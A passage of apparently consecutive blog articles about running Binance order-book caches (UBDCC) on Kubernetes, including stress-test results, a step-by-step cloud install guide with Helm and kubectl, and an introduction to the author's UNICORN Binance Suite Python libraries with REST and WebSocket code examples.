regular-2cpu-2gb-18dea39af28e   1119m        62%      1114Mi          63%
regular-2cpu-2gb-259bd481f6aa   1447m        80%      1018Mi          57%
regular-2cpu-2gb-3e6ac20be264   1142m        63%      1195Mi          67%
regular-2cpu-2gb-4d0409e8f8a6   1153m        64%      1047Mi          59%
regular-2cpu-2gb-868449529f74   1159m        64%      1140Mi          64%
regular-2cpu-2gb-f690b769ee94   1292m        71%      1018Mi          57%

Later in the same test:

NAME                            CPU(cores)   CPU(%)   MEMORY(bytes)   MEMORY(%)
regular-2cpu-2gb-18dea39af28e   1970m        109%     1131Mi          64%
regular-2cpu-2gb-259bd481f6aa   1993m        110%     1030Mi          58%
regular-2cpu-2gb-3e6ac20be264   1998m        111%     1184Mi          67%
regular-2cpu-2gb-4d0409e8f8a6   1941m        107%     1058Mi          60%
regular-2cpu-2gb-868449529f74   1992m        110%     1148Mi          65%
regular-2cpu-2gb-f690b769ee94   1988m        110%     1022Mi          58%

Memory usage stayed moderate, mostly around 57–67%.

There were no pod restarts during this test, and the DepthCaches remained available.

That is important.

The failure mode was not memory exhaustion or cluster collapse.

The failure mode was request latency and timeout pressure under heavy CPU load.

Result

Duration:        5 min 30 sec
Requests:        134,032
HTTP failures:   69,156
Failure rate:    52%
Peak RPS:        547.33 req/s
Average RPS:     387.37 req/s
p95:             5014 ms
Checks:          194.6K / 402.1K
Thresholds:      0 / 3 passed
VUs:             2000 max
VUH:             166.66
Result:          Failed by threshold
Load zone:       Frankfurt

The failed thresholds were:

checks rate>0.95
measured: 0.48

http_req_failed rate<0.05
measured: 0.52

http_req_duration p(95)<5000
measured: 5014 ms

Interpretation

The fast limit finder found the degradation point very clearly.

At 547 peak requests per second, the cluster was still alive, all DepthCaches remained available, and there were no pod restarts.

But the REST API path was no longer able to answer reliably within the configured 5 second timeout.

This means:

The cluster did not crash.
The data infrastructure stayed available.
The REST API load exceeded the practical limit of this low-cost setup.

The observed behavior is consistent with CPU saturation and request queuing:

CPU pressure rises
requests queue
latency increases
5 second timeouts appear
thresholds fail

The practical interpretation:

~370 peak RPS distributed plateau: stable
~547 peak RPS fast limit finder: degraded heavily

This is exactly what the final test was supposed to reveal.

Test result summary

Final interpretation

The most important result is not a single RPS number.

The important result is the difference between the load patterns.

Distributed load behaved well

The distributed plateau test reached:

370 peak requests per second
274 ms p95
0 HTTP failures
all checks passing

That is the clean stable result.

It shows that the cluster can serve distributed REST traffic across the synchronized DepthCaches on six cheap Kubernetes nodes.

Hot-market load behaved very differently

The hot-market ramp reached:

300 peak requests per second
5006 ms p95
19% HTTP failure rate

That does not mean the whole cluster failed.

It means one replicated market became a hotspot.

That is expected behavior and an important operational distinction.

The fast limit finder showed the practical boundary

The fast limit finder pushed the distributed setup much harder.

It reached:

547.33 peak requests per second
5014 ms p95
52% HTTP failure rate

The Kubernetes nodes hit heavy CPU pressure, but memory stayed moderate and there were no pod restarts.

So the practical conclusion for this exact setup is:

The stable distributed operating area is below the aggressive limit-finder range.
Around 370 peak RPS was clean.
Above 500 peak RPS, the REST path degraded heavily on these low-cost nodes.

This should not be read as an upper limit of UBDCC itself.

This was a deliberately low-cost test setup:

6 × Vultr Regular Cloud Compute nodes
2 vCPU per node
2024 MB RAM per node
12 vCPU total
~12 GB RAM total
2013 markets
4026 replicated DepthCaches

A cluster with stronger single-core CPU performance, more REST API capacity, or more tuned resource limits should be able to push the numbers further.

But for the cheapest useful Kubernetes setup I tested, this was the practical result:

4026 replicated Binance DepthCaches synchronized successfully in 25 minutes.
Distributed REST reads were stable at hundreds of requests per second.
A single hot market degraded much earlier.
The cluster stayed alive under aggressive load, but the REST path timed out once CPU pressure became too high.

What I would test next

The next useful tests would be:

• repeat the distributed plateau test on stronger CPU nodes

• compare cheap Vultr nodes with CPU-optimized Vultr nodes

• increase REST API replicas and isolate REST API capacity from DCN capacity

• add explicit CPU requests and limits

• test longer sustained plateaus

• test a single hot market with more than 2 replicas

• measure p99 and timeout behavior more aggressively

• inspect REST API and DCN internals during high load

• compare results with and without monitoring enabled

For this article, the key takeaway is already clear:

UBDCC can turn thousands of Binance order books into shared Kubernetes infrastructure, but load pattern matters. A single hot market and a distributed market workload are very different tests.

Call to action

If something in this test setup is unclear, missing, or does not work in your environment, please post it in the comments.

I am especially interested in real-world test results, different Kubernetes providers, different node sizes, higher REST API replica counts, alternative load-test designs, and better ways to visualize UBDCC behavior under load.

If something is useful for others too, I will try to pick it up and improve the article accordingly.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

In roughly 20 minutes, you can have your own redundant Binance order book infrastructure running on Kubernetes.

You get:

• live Binance order book data

• REST access from any programming language

• out-of-the-box failover

• high availability

• no need for every trading bot to maintain its own fragile local order book

• no Binance REST weight costs for your own internal queries against UBDCC

Of course, your own cluster still has limits. CPU, memory, network bandwidth and request volume still matter. But the important difference is this: your bots and applications no longer hammer Binance directly for every order book request. They query your own infrastructure instead.

In my own test setup, a 4-node Kubernetes cluster with 2 CPU cores and 2 GB RAM per node was able to run all active Binance Spot and Futures order books with 2 replicas each — roughly 4000 DepthCaches in total — without problems.

I later repeated this as a larger documented stress test with 2013 markets, 4026 replicated DepthCaches, six low-cost Vultr nodes and Grafana Cloud k6:
I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API

This article is the practical Kubernetes installation guide. If you want the background first, start with why every trading bot should not maintain its own Binance order book and why a Binance order book can silently become wrong if synchronization, pruning and recovery are handled incorrectly.

Video walkthrough

If you prefer to watch the full Kubernetes setup before going through the written steps, I recorded a complete video walkthrough.

In the video, I create the Kubernetes cluster, install UBDCC with Helm, open the dashboard, create the first DepthCache with curl, and then create all currently active Binance Spot and Futures DepthCaches with replicas.

https://www.youtube.com/watch?v=erxIkwmqlmk

What we are going to build

To get a working UBDCC setup, we need three things:

1. A Kubernetes cluster

2. kubectl and helm on your local machine

3. Deploy UBDCC

Creating the Kubernetes cluster is the only provider-specific part. I will show the process for Vultr, OVHcloud and Google Cloud. Other managed Kubernetes providers work in a very similar way.

If you do not know Kubernetes yet, it can sound scary at first. But for this setup, you do not need to become a Kubernetes expert.

You can think of a managed Kubernetes cluster like renting a group of virtual machines from a cloud provider.

You register, choose something like:

Give me a Kubernetes cluster with 4 nodes, each with 2 CPU cores and 2 GB RAM.

Then you wait 5 to 10 minutes until the provider has created the cluster.

While that is happening, you install the command line tool kubectl on your local PC or laptop. This is the tool you use to control your Kubernetes cluster.

Once the cluster is ready, your cloud provider gives you a configuration file. You place that file in your home directory under .kube/config.

That is the connection between your local kubectl and your cloud Kubernetes cluster.

After that, you can test the connection with:

kubectl get nodes

If you see your nodes, your cluster is ready.

That was the difficult part. :)

From your perspective, the whole Kubernetes cluster now behaves a bit like one big Linux computer. You can install an application, and Kubernetes will automatically distribute the required containers across the available nodes.

To install UBDCC with one command, we use Helm.

Helm is the package manager for Kubernetes.

Once Helm is configured, UBDCC can be installed with a single command. Then you wait a few minutes, and the cluster is ready.

After that, you tell UBDCC which Binance DepthCaches it should create and how many replicas you want for failover.

Once the DepthCaches are created and synchronized, you can query them via REST from any application or programming language.

You can also manage everything via REST:

• create DepthCaches

• query existing DepthCaches

• stop DepthCaches

• get bids and asks

• monitor the cluster

• build API requests from your own software

The optional UBDCC Dashboard gives you a web interface for monitoring, management and API building. It can generate request examples for Python, JavaScript, Rust, Bash, C# and other languages.

If you want a simpler non-Kubernetes introduction first, I also wrote a UBDCC + Dashboard quickstart that goes from pip install to a redundant Binance order book cluster. This Kubernetes guide builds on the same idea, but moves the infrastructure into a managed cluster.

Important security note

In this tutorial, we keep things simple and beginner-friendly.

That also means: after installation, parts of the Kubernetes setup may be reachable from the public internet, depending on your cloud provider and firewall defaults.

The most obvious public entry point is the UBDCC REST API through the Kubernetes LoadBalancer. But do not only think about the REST API. Also check whether your worker nodes, node IPs, NodePorts, or internal UBDCC cluster endpoints are reachable from outside.

For a quick test, this is acceptable if you know what you are doing and clean it up afterwards.

For production, do not leave the cluster openly reachable.

The easiest and fastest protection is usually an IP whitelist in your cloud provider firewall. Allow only your own servers, office IPs, VPN exit IPs or trading infrastructure to access the cluster and the UBDCC REST API. Everything else should be blocked.

Later in this guide, I will point out again where this matters.

Speed is nice. An open unauthenticated market-data cluster on the internet is not.

Costs

The full test setup with all Binance Spot and Futures DepthCaches on 4 nodes, as described here, cost me less than 3 EUR for a short test run.

For continuous operation, the cost depends mainly on:

• number of nodes

• number of DepthCaches

• number of replicas

• client request volume

• provider pricing

• network traffic

• public LoadBalancers

For testing, use hourly billing where possible and delete the cluster and LoadBalancer afterwards. Depending on the provider, the LoadBalancer may remain billable even after the workloads are gone, so make sure it is actually removed.

Kubernetes cluster sizing

The nodes are the servers on which your Kubernetes workloads run. They can have different sizes, just like virtual machines.

A few practical thoughts:

• More nodes usually means more public IPs.

• More public IPs means more available Binance REST API weight for initialization snapshots.

• The most important scalability factor is the number of DCNs.

• DCN means DepthCacheNode.

• The DCNs are the UBDCC components that actually manage the DepthCaches.

• My current recommendation is 1 DCN per CPU core.

• RAM usage is relatively low.

• For this kind of setup, the cheapest systems with low RAM and 1–2 CPU cores are often the best starting point.

• That gives you many nodes, many public IPs and enough DCNs.

For example:

4 nodes × 2 CPU cores = 8 DCNs

In my test, this was enough to manage all active Binance Spot and Futures order books with 2 replicas each — roughly 4000 DepthCaches in total.

That number is only useful if the DepthCaches are actually trustworthy. The reason UBDCC is strict about synchronization, failover and serving known-good replicas is the same failure mode I documented in the 25-hour Binance DepthCache forensics test: a local order book can look alive while stale price levels accumulate quietly.

The next important factor is your own query interval and client load. That depends on your setup and is something you should test yourself.

I later did exactly that in a larger follow-up test.

I created all 2013 active Binance Spot and Futures order books on Kubernetes with 2 replicas each — 4026 replicated DepthCaches in total — and then stress-tested the UBDCC REST API with Grafana Cloud k6.

That follow-up article shows the difference between a single hot-market workload and distributed REST API load across many DepthCaches:
I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API

There is one more important sizing factor: market activity.

A test during a quiet market period does not necessarily represent peak load. Binance WebSocket depth streams can deliver significantly more updates when the market gets busy. More updates mean more processing work for the DCNs, more internal synchronization work and higher CPU usage.

So do not size your cluster only based on a calm test window.

Depending on market conditions, the difference between low activity and peak activity can be huge. In practice, I would not be surprised to see several times more update traffic during busy periods. For stress planning, assuming up to 10x more load than during a quiet test is not crazy.

For a simple rule of thumb, start with 1 DCN per CPU core and then watch real CPU usage with kubectl top pods during both quiet and active market periods. You can always adjust the number of DCNs later with Helm.

Create a Kubernetes cluster

Before we create the cluster, a quick note about provider choice.

I tested this setup on Vultr, OVHcloud and Google Cloud. All three can run UBDCC on Kubernetes, but the experience is not the same.

For this specific use case, Vultr was the easiest and most cost-efficient option in my test. The Kubernetes setup is simple, the nodes are good enough for UBDCC, pricing is straightforward, and you get to a working cluster quickly.

OVHcloud also works well, but the setup is a bit less smooth and the small nodes felt weaker compared to Vultr. Still, it is a valid option and perfectly usable for this kind of workload.

Google Cloud works too, of course, but for this specific tutorial it felt like the most complicated and expensive option. It offers many powerful features, but most of them are not needed here. For a beginner-friendly UBDCC test setup, that extra complexity does not really help.

That is why the provider examples in this guide are ordered by my practical experience with this specific UBDCC setup:

1. Vultr

2. OVHcloud

3. Google Cloud

This is not a general cloud-provider ranking. It is only my practical impression for running UBDCC quickly and cheaply on managed Kubernetes.

Vultr

1. Register an account at https://www.vultr.com and add a payment method.

2. Go to Compute → Kubernetes and click Create Cluster.

   

3. Choose a cluster name. I used ubdcc.

   The node pool requires a label. I used:

   ubdcc-2cpu-2gb
   

   For a first test, options like High Availability and Firewall are not required here. We keep this tutorial focused and simple.

   Choose a node type, for example AMD High Performance.

   Then select your preferred location.

   When everything is ready, click Deploy Now.

   From this point on, it costs money.

   

4. Vultr will now create the Kubernetes cluster.

   This usually takes around 5 to 10 minutes.

   

5. Once the cluster is active, click the cluster name and download the configuration file.

   Click Download Configuration.

   

6. Place this file in your home directory under:

   .kube/config
   

   This applies to Windows, Linux and macOS.

   Create the .kube directory if it does not exist yet.

   The file must be named exactly:

   config
   

   Not config.txt.

OVHcloud

1. Register an account at https://www.ovhcloud.com and add a payment method.

2. Go to Public Cloud → Managed Kubernetes Service and click Create Cluster.

   

3. Choose a cluster name. I used ubdcc.

   Select your preferred region.

   For Select a plan, the free Kubernetes control plane should be enough.

   Choose the suggested Kubernetes version.

   For Private network, choose None for this beginner setup.

   Now create the node pool.

   For testing, I recommend the D2-4 instance under Discovery, with 4 GB RAM and 2 vCores.

   Choose the number of nodes.

   For a pure test, make sure to select hourly billing.

   Give the node pool a name and click Add node pool.

   When everything is ready, click Next and then Confirm cluster.

   From this point on, it costs money.

   

4. OVHcloud will now create the Kubernetes cluster.

   This usually takes around 5 to 10 minutes.

   

5. Once the status is OK, click the cluster name and download the kubeconfig file.

   Click Download kubeconfig.

   

6. Place this file in your home directory under:

   .kube/config
   

   This applies to Windows, Linux and macOS.

   Create the .kube directory if it does not exist yet.

   The file must be named exactly:

   config
   

   Not config.txt.

Google Cloud

1. Register an account at https://console.cloud.google.com and add a payment method.

2. Go to Kubernetes Engine → Cluster and click Create.

   

3. Now click Switch to Standard cluster.

   

4. Choose a cluster name. I used ubdcc.

   Select your preferred region. Important: You only need one location, not three as Google sets by default. That cuts the cost right down to a third :)

   On this tab you can leave the remaining default values as they are.

   

   Now you need to configure the node pool named "default-pool":
   Select the "Number of nodes".

   

   For testing, I recommend the E2 instance under General purpose, with 4 GB RAM and 2 vCores.

   

   When everything is ready, click Create.

5. Google Cloud will now create the Kubernetes cluster.

   This usually takes around 5 to 10 minutes.

   

6. Once the status is Running download the kubeconfig file.

   For Google Cloud, you'll need to install, initialise and authorise the Google Cloud CLI.

   Install the required plugin using the following command: gcloud components install gke-gcloud-auth-plugin.

   Then click Connect.

   

   Now copy the gcloud command from the web interface and run it locally on your PC or laptop to connect kubectl to the new cluster.

   

Install kubectl and Helm

kubectl

kubectl is the command line tool used to control your Kubernetes cluster.

Install it on your local machine as described here:

https://kubernetes.io/docs/tasks/tools/

You should already have placed the kubeconfig file from your provider at:

.kube/config

That means kubectl should already know how to connect to your cluster.

Test it with:

kubectl get nodes

If everything works, you should see your Kubernetes nodes.

Helm

Helm is the package manager for Kubernetes.

It allows you to install, configure, upgrade and remove Kubernetes applications in a clean and repeatable way.

Install Helm on your local machine as described here:

https://helm.sh/docs/intro/install/

After Helm is installed, add the UBDCC Helm repository:

helm repo add ubdcc https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster/helm
helm repo update

Now Helm knows where to find the UBDCC chart.

Deploy UBDCC

Before installing UBDCC, we install the Kubernetes Metrics Server.

UBDCC uses Kubernetes metrics to determine how many DCNs should be started when you use automatic DCN scaling based on CPU cores.

Install the Metrics Server with:

kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

From my experience, it is best to wait at least 5 minutes after installing the Metrics Server.

After that, deploy UBDCC with Helm.

Set dcn.coresPerNode to the number of CPU cores per node.

For example, if each node has 2 CPU cores:

helm install ubdcc ubdcc/ubdcc --set dcn.coresPerNode=2

That is it.

Now wait a few minutes until all containers have started.

In the meantime, let us look at a few basic Kubernetes monitoring commands.

Basic Kubernetes monitoring

Except for installing UBDCC with Helm, most day-to-day checks are done with kubectl.

To see the pods created for UBDCC, run:

kubectl get pods

Pods are Kubernetes workloads running container images.

For UBDCC, you will see different types of pods:

ubdcc-mgmt-0

This is the management component.

It coordinates the UBDCC service and manages the cluster logic.

ubdcc-restapi-*

These pods expose the REST API.

They handle client requests and route them to the correct DepthCacheNode.

ubdcc-dcn-*

These are the DepthCacheNodes.

They create, synchronize and serve the Binance DepthCaches.

To view the logs of a pod, use:

kubectl logs ubdcc-mgmt-0

To open a shell inside a container, use:

kubectl exec --stdin --tty ubdcc-mgmt-0 -- /bin/bash

To check resource usage, use:

kubectl top nodes
kubectl top pods

Kubernetes and kubectl can do much more, but that is enough for this guide.

We want to run UBDCC, not write a Kubernetes book.

Changing the number of DCNs

If you want to experiment with the number of DepthCacheNodes, you can change the DCN count while UBDCC is running.

For example, to scale UBDCC to 16 DCNs, run:

helm upgrade ubdcc ubdcc/ubdcc --set dcn.replicas=16

Kubernetes will then adjust the running ubdcc-dcn-* pods.

You can scale the number up or down and watch the result with:

kubectl get pods
kubectl top pods

This is useful if you want to test how many DCNs your cluster can handle, how resource usage changes, or how fast large numbers of DepthCaches are initialized.

For a simple rule of thumb, I recommend starting with 1 DCN per CPU core.

How to find the UBDCC REST API IP

During installation, Kubernetes created a LoadBalancer service for the UBDCC REST API.

This LoadBalancer forwards traffic to the ubdcc-restapi-* pods.

To find the public IP address of your UBDCC REST API, run:

kubectl describe services ubdcc-restapi

It can take several minutes until the cloud provider has created the LoadBalancer and assigned a public IP.

The correct IP is shown under:

LoadBalancer Ingress

In my case, it was:

80.240.27.170

A simple browser test is:

http://[YOUR_UBDCC_IP]/get_cluster_info

Example:

http://80.240.27.170/get_cluster_info

If you get a response, UBDCC is reachable and ready to use.

And yes: at this point it is also reachable from the public internet.

For a quick test, okay.

For anything serious, restrict access with a firewall or IP whitelist.

Create and query your first DepthCache

Now we create a Binance Spot DepthCache for ETHBTC with 2 replicas.

Replace [YOUR_UBDCC_IP] with the external IP address of your UBDCC REST API service.

Create the DepthCache

Linux, macOS or WSL:

curl 'http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&market=ETHBTC&desired_quantity=2'

Windows PowerShell or cmd.exe:

curl.exe "http://[YOUR_UBDCC_IP]/create_depthcache?exchange=binance.com&market=ETHBTC&desired_quantity=2"

The parameter desired_quantity=2 tells UBDCC to create two synchronized replicas of this DepthCache.

It takes a few seconds until the DepthCache is created, initialized from a Binance REST snapshot and synchronized with the live WebSocket stream.

Query asks

Once the DepthCache is ready, query the first 100 ask levels.

Linux, macOS or WSL:

curl 'http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&market=ETHBTC&limit_count=100'

Windows PowerShell or cmd.exe:

curl.exe "http://[YOUR_UBDCC_IP]/get_asks?exchange=binance.com&market=ETHBTC&limit_count=100"

The parameter limit_count=100 limits the response to the first 100 ask levels.

Without limit_count, UBDCC returns the currently available ask side according to the API defaults. In most applications, you should request only the amount of order book depth you actually need.

Query bids

Query the currently available bids.

Linux, macOS or WSL:

curl 'http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&market=ETHBTC'

Windows PowerShell or cmd.exe:

curl.exe "http://[YOUR_UBDCC_IP]/get_bids?exchange=binance.com&market=ETHBTC"

That is the basic idea.

Your application does not need to build and maintain its own Binance order book anymore.

It can just ask UBDCC.

The same REST API can be used from any operating system and from any programming language. The only difference in the examples above is the shell syntax:

• Linux, macOS and WSL use curl.

• Windows PowerShell and cmd.exe should use curl.exe to make sure the real curl binary is called.

• The URLs are quoted because they contain query parameters such as &.

If you want to understand what happens behind that simple REST call, the architecture is explained in more detail in the UBDCC deep dive about building a trust layer for Binance order books.

Using the UBDCC Dashboard

The easiest way to explore the REST API is the UBDCC Dashboard:

https://github.com/oliver-zehentleitner/ubdcc-dashboard

With the dashboard, you can:

• manage Binance credentials

• create DepthCaches for markets

• monitor the UBDCC cluster

• inspect cluster status

• use the API Builder

• generate request examples for different programming languages

The API Builder helps you create working requests for languages like:

• Python

• JavaScript

• Rust

• Bash

• C#

• and others

The dashboard runs locally on your PC or laptop.

You need Python installed.

Install it with:

pip install -U ubdcc-dashboard

Start it from the command line with:

ubdcc-dashboard start

Then connect it to your cluster:

http://[YOUR_UBDCC_IP]

Binance API credentials

UBDCC can manage Binance API credentials.

You can add credentials either through the UBDCC REST API or through the UBDCC Dashboard.

For many public Binance.com Spot market-data use cases, public endpoints are enough. However, not every Binance environment behaves exactly the same.

For some exchanges or regional Binance endpoints, API credentials may be required to access the endpoints needed by UBDCC. One practical example is Binance TR: without API credentials, the initial order book snapshot required to build a DepthCache may not be available.

That matters because a DepthCache needs two things:

1. a WebSocket depth stream

2. an initial REST order book snapshot

Without the snapshot, the DepthCache cannot safely initialize.

Credentials can also matter for rate limits, account-specific access, regional APIs and authenticated endpoint handling. Do not assume that every Binance-like endpoint behaves exactly like Binance.com Spot.

For Binance.com Spot, Binance documents request-weight limits as IP-based, not API-key-based. So more API keys do not automatically mean unlimited request weight from the same IP.

For UBDCC, the practical rule is:

• credentials may be required for some exchanges or regional Binance APIs

• credentials can unlock authenticated or region-specific access

• more Kubernetes nodes can help because they often provide more outgoing public IPs

• more outgoing IPs can help with REST snapshot initialization

• API keys are not a replacement for proper rate-limit handling

• always respect 429 responses and back off correctly

In short:

UBDCC can run without credentials where public endpoints are enough. But for some Binance environments, credentials are not optional — they are required for reliable DepthCache initialization.

The easiest way to add and manage credentials is the UBDCC Dashboard.

Firewall and access control

At this point, your UBDCC REST API may be publicly reachable.

Again: that is okay for a short test, but not for production.

The simplest practical setup is usually:

• keep the Kubernetes LoadBalancer

• restrict access using the cloud provider firewall

• allow only trusted source IPs

• deny everything else

For example, allow only:

• your trading servers

• your office IP

• your VPN exit IP

• your monitoring infrastructure

This gives you a simple IP whitelist without making the tutorial more complicated.

More advanced setups are possible later:

• private networking

• VPN-only access

• reverse proxy with authentication

• API gateway

• Kubernetes Ingress with auth

• mTLS

• private LoadBalancers

But for this beginner guide, IP whitelisting is the fastest useful security layer.

Do not leave your REST API openly accessible just because the test worked.

Uninstall and reset

To remove UBDCC and the Metrics Server, run:

helm uninstall ubdcc
kubectl delete -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

The second command removes the Kubernetes Metrics Server from the cluster.

After that, resource usage commands such as these will no longer work until the Metrics Server is installed again:

kubectl top nodes
kubectl top pods

Important:
After uninstalling UBDCC, check your cloud provider dashboard and make sure the public LoadBalancer for ubdcc-restapi is gone.
Some providers keep external LoadBalancers as separate billable resources.
If this was only a test, delete the cluster and the LoadBalancer.

If you only want to reset the UBDCC deployment, uninstall UBDCC first:

helm uninstall ubdcc

Then install it again:

helm install ubdcc ubdcc/ubdcc --set dcn.coresPerNode=2

If this was only a short test, also delete the Kubernetes cluster in your cloud provider dashboard.

Important: also check that the public LoadBalancer created for ubdcc-restapi has been deleted. Depending on the cloud provider, external LoadBalancers can remain billable resources even when the application itself has already been removed.

Otherwise, the nodes or LoadBalancer may keep running and keep costing money.

Conclusion

That is the whole setup.

You created a managed Kubernetes cluster, connected it with kubectl, installed Helm, deployed UBDCC and created your first Binance DepthCache with replicas.

The result is a redundant Binance order book service that can be used by any application over REST.

Instead of every bot maintaining its own fragile local order book, you can run the order book infrastructure once and let all your systems consume it.

That is the main idea behind UBDCC:

Build the market-data infrastructure once.
Keep it synchronized.
Add failover.
Serve it over REST.
Use it from any language.

For small tests, this is already useful.

For larger trading infrastructure, it becomes even more interesting.

Because at some point, the question is no longer:

How does this one bot get an order book?

The better question is:

Why does every bot maintain its own order book at all?

UBDCC gives you a different answer.

If something in this guide is unclear, missing, or does not work in your setup, please post it in the comments.

I am happy about constructive feedback, real-world test results, error reports, edge cases, and improvement ideas. If something is useful for others too, I will try to pick it up and improve the article accordingly.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

If you Google "python binance" in 2026, the first hits are python-binance, binance-connector-python, and CCXT. Useful tools, all of them. But once a Binance bot moves from script to service, the interesting question changes: not only can this library call the endpoint?, but does it give me the operational model to keep REST, WebSocket streams, WebSocket API trading requests, order state, reconnects, depth caches, and failure handling under control?

One library with a more operational focus still barely shows up in search results: the UNICORN Binance Suite (UBS). 2.8M+ downloads. 388+ public dependent projects. Several interlocking packages, all MIT, all maintained by one developer with a public name, public GitHub repos, and a Telegram you can actually message.

This guide is the cornerstone reference: what each tool does, why it matters, when to use which, and how the pieces fit together. With verified, live code — every output you see in this article was captured from a real call to api.binance.com while writing it.

If you're already sold and just want to read code, skip to Your First Binance REST Call in Python.

The Python-on-Binance Landscape in 2026

This guide is about the fourth row. Not because the others are bad. They are strong in different ways: python-binance is widely known and has many examples, the official Binance SDKs closely track Binance's published API surface, and CCXT is excellent when exchange abstraction matters more than Binance-specific depth. UBS is built for a narrower problem: Binance-specific systems where WebSocket lifecycle, order-book correctness, reconnect behavior, request routing, and failure states should be explicit instead of hidden in application glue.

A friendly maintainer's note: I am the author of UBS. I'll cite community sources where I can, show you working code, and let you decide. If you spot anything that looks unfair, the comments and Telegram are open.

What UBS Actually Is

UBS is not a single library — it's a coordinated suite of six packages plus an optional Kubernetes-scale service. Each piece is its own PyPI package, its own GitHub repo, its own release cadence — but the interfaces line up so they compose without glue code.

Install in One Line

pip install unicorn-binance-suite

That gives you the core UNICORN Binance Suite packages — UBRA, UBWA, UBLDC, UBTSL, and UnicornFy — in one install. UBDCC is different: it is the cluster service built on top of UBLDC, not a client library inside the suite. Want a single piece? Install just that one:

pip install unicorn-binance-websocket-api
pip install unicorn-binance-rest-api
pip install unicorn-binance-local-depth-cache
pip install unicorn-binance-trailing-stop-loss
pip install unicorn-fy
pip install ubdcc

A note on a myth that still floats around: "UBS is hard to install because it needs C build tools." Not since multi-arch wheels (x86_64, aarch64, arm64) were added. Where UBS uses native/Cython components, pip install resolves to a pre-built binary on common platforms. Cython where it pays off, plain Python where it doesn't.

You do not need API keys for anything in the Market Data sections below (REST tickers, WebSocket public streams, depth caches). For account operations and trailing stops, see How to create a Binance API Key and API Secret.

Your First Binance REST Call in Python

The most common starting question: "How do I get the current price of BTC in Python?" With UBRA:

from unicorn_binance_rest_api import BinanceRestApiManager

ubra = BinanceRestApiManager(exchange="binance.com")

ticker = ubra.get_symbol_ticker(symbol="BTCUSDC")
print(ticker)

ubra.stop_manager()

Live output (captured from api.binance.com while writing this):

{'symbol': 'BTCUSDC', 'price': '81250.60000000'}

24h statistics in one call:

stats = ubra.get_ticker(symbol="BTCUSDC")
for k in ("lastPrice", "priceChangePercent", "highPrice", "lowPrice", "volume", "quoteVolume"):
    print(f"  {k}: {stats[k]}")

  lastPrice: 81250.60000000
  priceChangePercent: 0.394
  highPrice: 82137.26000000
  lowPrice: 80462.97000000
  volume: 11772.94006000
  quoteVolume: 957215665.33209680

Historical candles for backtesting or charts:

klines = ubra.get_klines(symbol="BTCUSDC", interval="1h", limit=3)
for k in klines:
    print(f"  open={k[1]}  high={k[2]}  low={k[3]}  close={k[4]}  volume={k[5]}")

  open=81249.93000000  high=81294.42000000  low=81024.41000000  close=81058.80000000  volume=187.87319000
  open=81058.79000000  high=81303.99000000  low=81000.00000000  close=81240.01000000  volume=398.28206000
  open=81240.01000000  high=81283.80000000  low=81203.81000000  close=81250.60000000  volume=157.79464000

Authentication for account/trading endpoints is one extra constructor argument:

ubra = BinanceRestApiManager(
    api_key="YOUR_API_KEY",
    api_secret="YOUR_API_SECRET",
    exchange="binance.com",
)
balance = ubra.get_account()  # private endpoint, requires signed request

UBRA supports com, com-margin, com-isolated-margin, com-futures, us, and tr, plus all matching testnets — switch with the exchange argument. A signed-order example for an OCO take-profit/stop-loss pattern lives in Buy an Asset and Instantly Create a Take-Profit + Stop-Loss OCO Sell Order.

Your First WebSocket Stream in Python

REST polling is fine for one-off queries. For real-time price feeds you want WebSockets. UBWA's model is simple: one Manager, many streams. The receiving side can be as small as a few lines, or as explicit as a dedicated asyncio queue per stream.

The examples below intentionally follow the UBWA README style. Start simple, then choose the processing model that fits your bot.

Option 1 — Pull from the stream buffer

The shortest possible pattern. No callbacks, no asyncio in your code. UBWA receives frames in the background; you pull the oldest item from the stream buffer when you are ready.

from unicorn_binance_websocket_api import BinanceWebSocketApiManager

ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
)

while True:
    oldest_data_from_stream_buffer = ubwa.pop_stream_data_from_stream_buffer()
    if oldest_data_from_stream_buffer:
        print(oldest_data_from_stream_buffer)

That is the easiest way to understand the flow: Binance pushes data asynchronously, UBWA stores it, and your code consumes it.

For normalized Python dictionaries instead of raw Binance payloads, request UnicornFy output on the stream:

ubwa.create_stream(
    channels=["trade"],
    markets=["btcusdc"],
    output="UnicornFy",
)

When to use it: scripts, demos, notebooks, quick collectors. For long-running services, avoid a tight empty polling loop. Use a callback or an asyncio queue.

Option 2 — Callback per received frame

You hand UBWA a normal function. Every received frame is passed to it.

from unicorn_binance_websocket_api import BinanceWebSocketApiManager


def process_new_receives(stream_data):
    print(str(stream_data))


ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
    process_stream_data=process_new_receives,
)

There is also an async callback variant:

import asyncio
from unicorn_binance_websocket_api import BinanceWebSocketApiManager


async def process_new_receives(stream_data):
    print(stream_data)
    await asyncio.sleep(1)


ubwa = BinanceWebSocketApiManager(exchange="binance.com")
ubwa.create_stream(
    channels=["trade", "kline_1m"],
    markets=["btcusdc", "bnbbtc", "ethbtc"],
    process_stream_data_async=process_new_receives,
)

When to use it: clean event-style processing where each message can be handled independently.

Option 3 — Await the stream data in an asyncio coroutine

This is the README-recommended pattern for processing stream data when you want explicit async handling. UBWA creates the stream and feeds an asyncio queue; your coroutine awaits data from that queue.

import asyncio
from unicorn_binance_websocket_api import BinanceWebSocketApiManager


async def process_asyncio_queue(stream_id=None):
    print(f"Start processing data from stream '{ubwa.get_stream_label(stream_id)}':")
